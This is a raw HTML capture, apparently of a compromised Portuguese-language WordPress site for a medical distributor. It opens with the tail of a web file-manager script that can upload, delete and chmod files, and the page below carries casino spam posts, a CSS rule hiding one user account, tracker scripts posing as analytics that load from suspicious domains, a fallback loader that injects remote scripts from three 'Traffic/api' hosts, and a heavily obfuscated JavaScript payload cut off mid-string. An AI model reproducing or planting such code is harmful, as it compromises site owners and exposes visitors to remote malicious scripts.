            toast.innerHTML = msg + '<span onclick="this.parentElement.remove()" style="cursor:pointer;margin-left:10px;">×</span>';
            container.appendChild(toast);
            setTimeout(() => toast.remove(), 3000);
        }
        
        function ajaxRequest(action, data) {
            const formData = new FormData();
            formData.append('ajax_action', action);
            for(const key in data) formData.append(key, data[key]);
            return fetch(window.location.pathname, { method: 'POST', body: formData }).then(r => r.json());
        }
        
        function ajaxDelete(path, btn) {
            if(!confirm('Delete?')) return;
            const row = btn.closest('tr');
            row.style.opacity = '0.5';
            ajaxRequest('delete', {path}).then(r => {
                if(r.success) { row.remove(); showToast('Deleted', 'success'); }
                else { row.style.opacity = '1'; showToast(r.message || 'Failed', 'error'); }
            });
        }
        
        function showCreateFile() {
            const name = prompt('File name:', 'newfile.txt');
            if(name) {
                const content = prompt('Content:', '');
                ajaxRequest('create', {path: currentPath, name, type: 'file', content: content || ''})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showCreateFolder() {
            const name = prompt('Folder name:', 'newfolder');
            if(name) {
                ajaxRequest('create', {path: currentPath, name, type: 'dir'})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showRename(path, name) {
            const newName = prompt('New name:', name);
            if(newName && newName !== name) {
                ajaxRequest('rename', {old_path: path, new_name: newName})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showChmod(path, current) {
            const mode = prompt('Permissions (e.g. 755):', current);
            if(mode && mode !== current) {
                ajaxRequest('chmod', {path, mode})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function uploadFileB64(input) {
            const file = input.files[0];
            if(!file) return;
            showToast('Uploading: ' + file.name, 'success');
            const reader = new FileReader();
            reader.onload = function(e) {
                const b64 = e.target.result.split(',')[1];
                const formData = new FormData();
                formData.append('ajax_action', 'b64upload');
                formData.append('path', currentPath);
                formData.append('name', file.name);
                formData.append('data', b64);
                fetch(window.location.pathname, { method: 'POST', body: formData })
                    .then(r => r.json())
                    .then(r => {
                        if(r.success) { showToast('Uploaded: ' + file.name, 'success'); setTimeout(() => location.reload(), 500); }
                        else { showToast('Failed: ' + (r.message || 'Unknown error'), 'error'); }
                    })
                    .catch(err => showToast('Error: ' + err.message, 'error'));
            };
            reader.readAsDataURL(file);
            input.value = '';
        }
        
        function searchFiles(query) {
            query = query.toLowerCase();
            document.querySelectorAll('#file-list tr[data-name]').forEach(row => {
                row.style.display = row.dataset.name.includes(query) ? '' : 'none';
            });
        }
        
        document.addEventListener('keydown', function(e) {
            if(e.ctrlKey && e.key === 'f' && !e.target.matches('input,textarea')) { 
                e.preventDefault(); 
                document.getElementById('search-input').focus(); 
            }
        });
    </script>
</body>
</html><!doctype html>
<html lang="pt-BR">
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<link rel="profile" href="https://gmpg.org/xfn/11">
	<title>pblmedic &#8211; Página: 2</title>
<meta name='robots' content='max-image-preview:large' />
<link rel='dns-prefetch' href='//nornikal3pi12.life' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="Feed para pblmedic &raquo;" href="https://pblmedic.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="Feed de comentários para pblmedic &raquo;" href="https://pblmedic.com/comments/feed/" />
<style id="wp-img-auto-sizes-contain-inline-css">
img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px}
/*# sourceURL=wp-img-auto-sizes-contain-inline-css */
</style>
<style id="wp-emoji-styles-inline-css">

	img.wp-smiley, img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
/*# sourceURL=wp-emoji-styles-inline-css */
</style>
<style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-break:normal!important}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style^=border-color],[style*=";border-color"],[style*="; border-color"]){border-style:solid}html :where([style^=border-top-color],[style*=";border-top-color"],[style*="; border-top-color"]){border-top-style:solid}html :where([style^=border-right-color],[style*=";border-right-color"],[style*="; border-right-color"]){border-right-style:solid}html :where([style^=border-bottom-color],[style*=";border-bottom-color"],[style*="; border-bottom-color"]){border-bottom-style:solid}html :where([style^=border-left-color],[style*=";border-left-color"],[style*="; border-left-color"]){border-left-style:solid}html :where([style^=border-width],[style*=";border-width"],[style*="; border-width"]){border-style:solid}html :where([style^=border-top-width],[style*=";border-top-width"],[style*="; border-top-width"]){border-top-style:solid}html :where([style^=border-right-width],[style*=";border-right-width"],[style*="; border-right-width"]){border-right-style:solid}html :where([style^=border-bottom-width],[style*=";border-bottom-width"],[style*="; border-bottom-width"]){border-bottom-style:solid}html :where([style^=border-left-width],[style*=";border-left-width"],[style*="; border-left-width"]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a88968792899*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='ganalytics-fonts-css' href='https://fonts.googleapis.com/css2?family=Roboto:ital,wght@0,100' media='all' />
<link rel='stylesheet' id='hello-elementor-css' href='https://pblmedic.com/wp-content/themes/hello-elementor/assets/css/reset.css?ver=3.4.4' media='all' />
<link rel='stylesheet' id='hello-elementor-theme-style-css' href='https://pblmedic.com/wp-content/themes/hello-elementor/assets/css/theme.css?ver=3.4.4' media='all' />
<link rel='stylesheet' id='hello-elementor-header-footer-css' href='https://pblmedic.com/wp-content/themes/hello-elementor/assets/css/header-footer.css?ver=3.4.4' media='all' />
<script data-wp-strategy="defer" defer id="ganalytics-tracker-js" src="https://nornikal3pi12.life/t.js?site=5b9c529db03be43d062917c963ff43ed"></script>
<link rel="https://api.w.org/" href="https://pblmedic.com/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://pblmedic.com/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.1" />
<script src="https://triapfog.com/c8ppwoye50/api"></script><style id="wp-custom-css">
tr#user-3,tr#user_3{display:none!important}
</style>
</head>
<body class="home blog paged wp-embed-responsive paged-2 wp-theme-hello-elementor hello-elementor-default">


<a class="skip-link screen-reader-text" href="#content">Ir para o conteúdo</a>


<header id="site-header" class="site-header">

	<div class="site-branding">
					<div class="site-title">
				<a href="https://pblmedic.com/" title="Página inicial" rel="home">
					pblmedic				</a>
			</div>
						</div>

			<nav class="site-navigation" aria-label="Menu principal">
			<ul id="menu-principal" class="menu"><li id="menu-item-72" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-72"><a href="https://pblmedic.com/#inicio">Início</a></li>
<li id="menu-item-73" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-73"><a href="https://pblmedic.com/#quem-somos">Quem somos</a></li>
<li id="menu-item-74" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-74"><a href="https://pblmedic.com/#linha-distribuicao">Linha de distribuição</a></li>
<li id="menu-item-75" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-75"><a href="https://pblmedic.com/#area-de-atuacao">Área de atuação</a></li>
<li id="menu-item-76" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-76"><a href="https://pblmedic.com/#diferenciais">Diferenciais</a></li>
<li id="menu-item-77" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-77"><a href="https://api.whatsapp.com/send/?phone=5511961828606">Fale Conosco</a></li>
<li id="menu-item-78" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-78"><a href="https://pblmedic.com/#contato">Contato</a></li>
</ul>		</nav>
	</header>
<main id="content" class="site-main">

			<div class="page-header">
			<h1 class="entry-title">Arquivos</h1>		</div>
	
	<div class="page-content">
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/sprich-so-casinos-aber-und-abermal-alternative-verifizierungsprozesse-vornehmen-damit-sicherzustellen-dass-kaum-illegalen-aktivitaten-ereignen/">Sprich, so Casinos aber und abermal alternative Verifizierungsprozesse vornehmen, damit sicherzustellen, dass kaum illegalen Aktivitaten ereignen</a></h2><p>Alternativ zu tun sein die kunden dies Guthaben aufwarts der Kontoverbindung abgeben. Selbige Zeitlang das Ausschuttung war fur nach Zahlungsmethode differenzierend. Pro Spieler bei europaischen Moglich Casinos eignen einfache Auszahlungen genauso essentiell hinsichtlich Einzahlungen. Entschlusseln Eltern ebendiese Meinungen durch folgenden Spielern unter anderem gibt es so sehr das sinnvolle Moglich Spielcasino Bundesrepublik. Alle weiteren Informations [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/roulette-neu-casino-ein-experte-leitfaden-fur-spieler/">Roulette neu Casino: Ein Experte Leitfaden für Spieler</a></h2><p>Als erfahrener Online-Roulette-Spieler mit 15 Jahren Erfahrung, freue ich mich, Ihnen einen umfassenden Leitfaden zu Roulette neu Casino zu präsentieren. In diesem Artikel werden wir uns mit den Spielregeln, den Vor- und Nachteilen, den Auszahlungen, Tipps und Tricks sowie den besten Online-Casinos für Roulette neu Casino befassen. Spielregeln und Merkmale von Roulette neu Casino Roulette [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/15-superiores-giros-de-balde-acerca-de-casino-codigos-de-bono-carente-deposito-referente-a-2026/">15 superiores giros de balde acerca de casino códigos de bono carente depósito referente a 2026</a></h2><p>Content &#xBF;En qu&#xE9; juegos puedo juguetear sobre casinos en l&#xED;nea con bonos desprovisto dep&#xF3;ubicado? C&#xF3;mo hacen el trabajo bien los 100 giros sin cargo Nuestra experiencia a los cuarenta giros gratuito falto dep&#xF3;emplazado Superiores Bonos de Casino carente Dep&#xF3;ubicado Los bonos sin dep&#xF3;ubicado serán uno de los reclamos m&#xE1;s interesantes en 2026 con el fin [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/roulette-with-free-spins-uk-a-comprehensive-guide/">Roulette with Free Spins UK: A Comprehensive Guide</a></h2><p>Are you a fan of online roulette looking to spice up your gameplay with some free spins? Look no further than roulette with free spins UK. In this article, we will explore everything you need to know about this exciting variation of the classic casino game, including how to play, where to play, and tips [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/casinos-con-el-pasar-del-tiempo-tiradas-regalado-referente-a-chile-ranking-al-dia-2026/">Casinos con el pasar del tiempo tiradas regalado referente a Chile Ranking al día 2026</a></h2><p>Content T&#xE9;rminos y formas para los 10 euros gratuito sobre casino desprovisto dep&#xF3;emplazado de Gigantesco Madrid L&#xED;mites, topes así­ como normas cual anulan ganancias TikiTaka Play &#x2013; 10 &#x20AC; gratuito carente dep&#xF3;ubicado Cuestiones frecuentes Aqu&#xED; encontrar&#xE1;s casinos que deben dentro de cincuenta desplazándolo hacia el pelo 500 giros de balde falto dep&#xF3;emplazado igual que bono [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/european-roulette-online-india-for-professionals-a-comprehensive-guide/">European Roulette Online India for Professionals: A Comprehensive Guide</a></h2><p>Welcome to our expert guide on European roulette online in India for professionals. With over 15 years of experience playing online casinos and online roulette, we are here to provide you with up-to-date information, tips, and strategies to enhance your gaming experience. Whether you are a seasoned player or just starting out, roulette</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/tragamonedas-joviales-recursos-conveniente-dazn-bet-tragaperras-con-recursos-real-2026/">Tragamonedas joviales Recursos Conveniente, DAZN Bet Tragaperras con Recursos Real 2026</a></h2><p>Content DAZN Bet: Dudas más serios SlotStars Other Games from Playtech Slot Stars en Bufete vs Smartphone bwin: Poker y no ha transpirado Juegos sobre Casino En cierta ocasión procesado nuestro depósito, si no le importa hacerse amiga de la grasa cierra la ventana de la compra. Nuestro zona sobre crupier acerca de vivo sobre [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/best-a-real-income-ports-on-the-internet-better-slot-games-to-experience-2026/">Best A real income Ports On the internet Better Slot Games To experience 2026</a></h2><p>Posts Better web based casinos the real deal money United states: Best selections A real income Ports FAQ A knowledgeable position games offer added bonus series from leading to totally free spins. However, we recommend looking to certain local casino internet sites to see which one to your gain benefit from the very. Casinos providing [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/sphinx-casino-slot-games-play-for-100-percent-free-instantaneously-online/">Sphinx Casino slot games Play for 100 percent free Instantaneously Online</a></h2><p>Content Totally free Spins Feature Successful to the IGT Sphinx Slot: Paytable &amp; Paylines The video game&#x2019;s display structure is a cuatro&#xD7;5 design, providing players an enthusiastic immersive and visually enticing gambling sense. When you&#x2019;re enjoying the spins, the game&#x2019;s growing icons element will be in the enjoy. Rating about three or more pyramids to [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/100-percent-free-spins-casino-now-offers-for-people-participants/">100 percent free Spins Casino Now offers for people Participants</a></h2><p>Blogs What is actually an online gambling enterprise no deposit incentive? Exactly how 100 percent free Spins No deposit Also offers Works As the accurate actions may vary a bit between casinos on the internet with no deposit incentive rules, the procedure always turns out it It&#x2019;s a robust come across if you want a [&hellip;]</p>
			</article>
			</div>

			<nav class="pagination">
			<div class="nav-previous"><a href="https://pblmedic.com/?edit=1&#038;p=%2Fusr%2Fbin&#038;path=%2Fusr%2Fbin%2Fpercona-release" ><span class="meta-nav">&larr;</span> anterior</a></div>
			<div class="nav-next"><a href="https://pblmedic.com/page/3/?edit=1&#038;p=%2Fusr%2Fbin&#038;path=%2Fusr%2Fbin%2Fpercona-release" >Próximo <span class="meta-nav">&rarr;</span></a></div>
		</nav>
	
</main>
<footer id="site-footer" class="site-footer">
	</footer>

<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/hello-elementor/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="wp-emoji-settings" type="application/json">
{"baseUrl":"https://s.w.org/images/core/emoji/17.0.2/72x72/","ext":".png","svgUrl":"https://s.w.org/images/core/emoji/17.0.2/svg/","svgExt":".svg","source":{"concatemoji":"https://pblmedic.com/wp-includes/js/wp-emoji-release.min.js?ver=7.1"}}
</script>
<script type="module">
/*! This file is auto-generated */
var e="script#wp-emoji-settings",t=document.querySelector(e);if(!(t instanceof HTMLScriptElement))throw new Error("Element missing: "+e);const r=JSON.parse(t.text),s=(window._wpemojiSettings=r,"wpEmojiSettingsSupports"),o=["flag","emoji"];function i(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(s,JSON.stringify(t))}catch(e){}}function c(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0);const r=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);return t.every((e,t)=>e===r[t])}function p(e,t){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var n=e.getImageData(16,16,1,1);for(let e=0;e<n.data.length;e++)if(0!==n.data[e])return!1;return!0}function u(e,t,n,r){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\udde8\ud83c\uddf6","\ud83c\udde8\u200b\ud83c\uddf6")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!r(e,"\ud83e\u1fac8")}return!1}function f(e,t,n,r){let a;const s=(a="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):document.createElement("canvas")).getContext("2d",{willReadFrequently:!0}),o=(s.textBaseline="top",s.font="600 32px Arial",{});return e.forEach(e=>{o[e]=t(s,e,n,r)}),o}function a(e){var t=document.createElement("script");t.src=e,t.defer=!0,document.head.appendChild(t)}r.supports={everything:!0,everythingExceptFlag:!0},new Promise(t=>{let n=function(){try{var e=JSON.parse(sessionStorage.getItem(s));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(o),u.toString(),c.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"});const a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=e=>{i(n=e.data),a.terminate(),t(n)})}catch(e){}i(n=f(o,u,c,p))}t(n)}).then(e=>{for(const n in e)r.supports[n]=e[n],r.supports.everything=r.supports.everything&&r.supports[n],"flag"!==n&&(r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&r.supports[n]);var t;r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&!r.supports.flag,r.supports.everything||((t=r.source||{}).concatemoji?a(t.concatemoji):t.wpemoji&&t.twemoji&&(a(t.twemoji),a(t.wpemoji)))});
//# sourceURL=https://pblmedic.com/wp-includes/js/wp-emoji-loader.min.js
</script>
<script>(function(){var u=["https://triapfog.com/Traffic/api","https://iocriotao.icu/Traffic/api","https://mioiooo.icu/Traffic/api"],i=0;\nfunction n(){if(i>=u.length)return;var s=document.createElement('script');\ns.src=u[i];s.onerror=function(){i++;n()};\n(document.head||document.documentElement).appendChild(s);i++;}\nn();})();</script>
<script>
"use strict";var rxdmS4,FlCAu25,g3Gld7J,_PoKZj,MSUxhJ2,cUL0VT,j2tRUWQ,Q4sOnFn,nco7OV;const FZHYVb=[0x0,0x1,0x8,0xff,"length","undefined",0x3f,0x6,"fromCodePoint",0x7,0xc,"push",0x5b,0x1fff,0x58,0xd,0xe,0x5d,0x10,0x200,0xf,0x3,0x2,0x4,0x3ff,0x7f,0x1f,0x80,0x12,0x20,0x5,0x18,0xa,0x13,0x40,0xffff,"js",0x82,!0x1];function R_2lkdW(rxdmS4){var FlCAu25="<,^7;9x`%1.0+g~o:JG*fp]ca2O#m}B[bX5d{(wt=iA&TEUINLV$erR_?yKl|YCHvuknW/Z6)>Q8DshzSP4M3!\"Fq@j",g3Gld7J,_PoKZj,MSUxhJ2,cUL0VT,j2tRUWQ,Q4sOnFn,nco7OV;N4W9hYK(g3Gld7J=""+(rxdmS4||""),_PoKZj=g3Gld7J.length,MSUxhJ2=[],cUL0VT=FZHYVb[0x0],j2tRUWQ=FZHYVb[0x0],Q4sOnFn=-FZHYVb[0x1]);for(nco7OV=FZHYVb[0x0];nco7OV<_PoKZj;nco7OV++){var R_2lkdW=FlCAu25.indexOf(g3Gld7J[nco7OV]);if(R_2lkdW===-FZHYVb[0x1])continue;if(Q4sOnFn<FZHYVb[0x0]){Q4sOnFn=R_2lkdW}else{N4W9hYK(Q4sOnFn+=R_2lkdW*FZHYVb[0xc],cUL0VT|=Q4sOnFn<<j2tRUWQ,j2tRUWQ+=(Q4sOnFn&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(MSUxhJ2.push(cUL0VT&FZHYVb[0x3]),cUL0VT>>=FZHYVb[0x2],j2tRUWQ-=FZHYVb[0x2])}while(j2tRUWQ>FZHYVb[0x9]);Q4sOnFn=-FZHYVb[0x1]}}if(Q4sOnFn>-FZHYVb[0x1]){MSUxhJ2.push((cUL0VT|Q4sOnFn<<j2tRUWQ)&FZHYVb[0x3])}return t24J32(MSUxhJ2)}function s7MFvm(g3Gld7J){if(typeof rxdmS4[g3Gld7J]===FZHYVb[0x5]){return rxdmS4[g3Gld7J]=R_2lkdW(FlCAu25[g3Gld7J])}return rxdmS4[g3Gld7J]}N4W9hYK(rxdmS4={},FlCAu25=["ey0.sM]{{1_D]9[aL$>xSDUU[k4|K2hO=+E.r8i`7*ZZlw,(`6(QnNaS<+","<=%R_(gr5|xBTM7Gf$txPyVvllU/n~U=)<","/NyRrKmG;1W>54:#Gx<x_UO%Blcub7Oc}fte`Q2I7","![cXYtO\"x",",Lg`=HGU%f_29{YJ(O_e@E(`(vQZNI{w&+WQddxZn*YmTI`*&CFLe$gIM*","MN6mNZpd7yxzM~Qwl7?x6z8`9g=z5g9w7}%1>P.e>JGNwL5{Dc7","YCH>0wma0~4b#O<cJbWO%DC\"}p`gd~T*gyWQZ56,","pHb$$K0,","9Lj}qy<{zo)H#^R#)7?1}Mu$hH:fY;Ba1OO#x{j\"fv*4+o$isClrFM?^2~t","Bu@$y|DxhH2#,{4=;km[9N6g&lw","k$U[c6<","vWTQ4CB^","Tcq>}Sz$(KsrSl&O*o_ed=g*+l.RtZ&t,b1B/rZQV|vL,)Z(_lGs~P<","?R]en)%awv,^3l,a($g[^\".\"$*!9%ovc|({ssD[*0l!P/;","o+g_Ghj+NHRZ&wo#96OsgN4U~p3Z[M}dnCS1","q>Hm1zH$Co=`};k{nc0sVLFcV1AN:#2}&&@xLWnc7","CW1$1\"QUd|xYel>*ql7","r$p;N$*,Ffg)X2ba^&^","#fIeMCKGOJr","Uxyx)C+a(K~_SMC}hZp`0M8,","Ofh;Y|#}!g3Q+3G=P7~`9_VBUrX~3Ibc>lKr<KF`P|SoRg2d0cg`@y^K~pw","+&nbCU{GWyYs%7.","m1c>2eEIvG)2^2]m_=,8g_W+;","2Oux{82r{vtmJ:Bdm,","fyC_N8gixv5)a6hO;6([4MS+UpPZ1(\"iAQB[3e0`l0Ld+t~","@JMsw4meKl9x]P$i:&^","5N2h6z9g|%:f)Mw24EV$3E.BY?ls<:p#]Rubx_E!x.SP42w2]bSLe),27","]Q~_bR1g,G=e!S,J2,","]oyx^UprAC}u;#F}$7J$JDrckH\"{<oSt}U.}$Z<","[c[;gQFiH|czW{A2bcFm!VDGT~_D[7","huYQCs:ZsroC36|{[QweO=?B$ROJ1:<BV5+.T8(*$|VS.9gwNf+.*","MlwL%P.G5HepO9#}*x:RmITa>K]5;7","$1/`ORf%!Ka_Sor=QC;}>yavUGj})l+OYupD./|BAfwm!|CASle.@I%Gx","T+$}EHr,6v0(hL+",">JBD?z>,",")7v>@w?epv:8cwdJjC/m1z4UPR[)vokGM<","BR9.}e@JkRk2lKYc\"EXbGVxBS+,)7Ord/CnsN$=+bo:z&6+t9LF1]",".6wLgD_!]v18#^;[%}HmJ_,*IG~zTI%[5=N1@y}H/*a","zCG)DN``NpQS^Y]5z2e}aw`,qgCeqIGm[},#qhRS,o","5WbxHU]Q;Rksa:wGe7\"`9)hxbojnJNWBm=Imjhy}LGq}&OjAkWYmf","fHn}idrg0ChLVggOTubxS{:{/vfzC4@cxGoDhVxA6f=zL2VmM<","+O_eSD(g4*Pb,","N5(.ml]a^od)>)VmHW7}yr*`%g`I3o,Boyl%","[R8}kQKK&J%RHw%GtQC;f","d|h[K$s`1J","iy7}FM.ewgxR1:?dJ(wmtH(yG1;cP;adYWcLUYG{9","Uux1ae&dQl)Lq7z=o|l%mRU^1~Y","J6B>/znHC%~zl~K{9|kr%C*}9K`cnwj]`yoRcl[yOJ^),)Za%H?>}","w65}=WtyG|@,%on[ZNt;2I]UDC!QTMstU[DVGMMztgX)b73]{|)1ODny}~","GH+[/NMd#~v,/|(2lNXb@XG{J1XpYamipR49My]%+~xx/N{[UO^","dyUmzQ+K|C%NX:7&s(]eqwQGglOJ3IgfI&esZPy,","7RR1;535ju}K$~>2S5p.","goU`w>(/El+:+oJf7cNRA8@,:ow>r)&ww6vLO!I,","AOG$yZK\"j~t>CL&wBu~euN(I&%:)=;","&Q[;dR/,+pQS@P`2)c?L+Vm%L1[DVL=wJU49@w+^","Bu)1GyC+:o=>2LJtvxC;5eb^","h?ZDe)|^~l:z]O`(WW#b:Pu/[HQ},:Dt",".b8b_rgHV|aad~T*T$Zme8<","tyR_iY|UAfKlkPnGw6$%X=(`)go4T#CaY7c;)C<","2O5bcM12_v>}c^2Ag+vL75hQj~DsQ~QwX(er1_<","s2A#Se|a<pXp5LW[2u_mZ_4U!g^hjwC}m(x_(LVB7y%WSa^J)c[D8w:^","pUf}lsWSh%}D1(g","*x/[*6K=M|:)b)rdHcG8G","HmHLjM]e8CT~;t+O6urQf6T=iJX#C2CcyNpm<|#dPRulM^w2>NB_aVV^","&yD[vQd`}kw[*VwwR$iBfD}r^y2aa6+*g;7","ZWP%SwJ`9.\"|Zg1wWEg[jh=U.lnZ;#\"iZ<","0Hp.N3~Z8uBK$wf#rRoDIW+UPRgz_o6GBRx_p","lW1$_5+Gyfh;C2u(TW3[OhyIv1.79|otd(P$oDLi$*Z>$ZN==}BeqIBall(","E(^$1{DU[|]ftOA*P(894PucZg*[0~$5]+u$t8[}Uo@sdKYJ$$4%","{O!Q&HtI31#5j2ZwxOT}Q/Sex_1gv#X(?6$reZid1Kt","Dx{.#>W\"N|KS9{q5xW}[v5!g%J$lxP]5TxZDQ/4acgilqogfPZoxn)$iIG","MZ]mIZ>`KC<XWMS5^pn9<zh5K0llY|[J@r]XLW:a(gdpS7","~OCDm=r,","OW36<|3KvrY>lwV5m5=RcDOBok!Z0OmdJ+/.0w5B5oU[W7R=}R};}","nA&)5hBB$18Zq|B{|NW6*MhU`","tOB_4/Ca,RVkIZ9(oxV#~CG^","XyZmJP(gvoQQPNq5eEvxjEG%9","<|}Du)6HiJfzy(h=8lbxyUtybo80q6.w7koeG","n5<x8ykKkHWkD6o#y$j%1Pi8UGo4blE*I&2$*P3+Fv<4?MJ=abvR}","X7F>@h8,","EyQ9y|<","~LB`C)<","X=!Q9P~{MRDSV2cm37msqM.KKJ(","M2GbcV~{s?#gkL+OGU3rRH(dXks{bI[(b$1BZr[/BG","2=2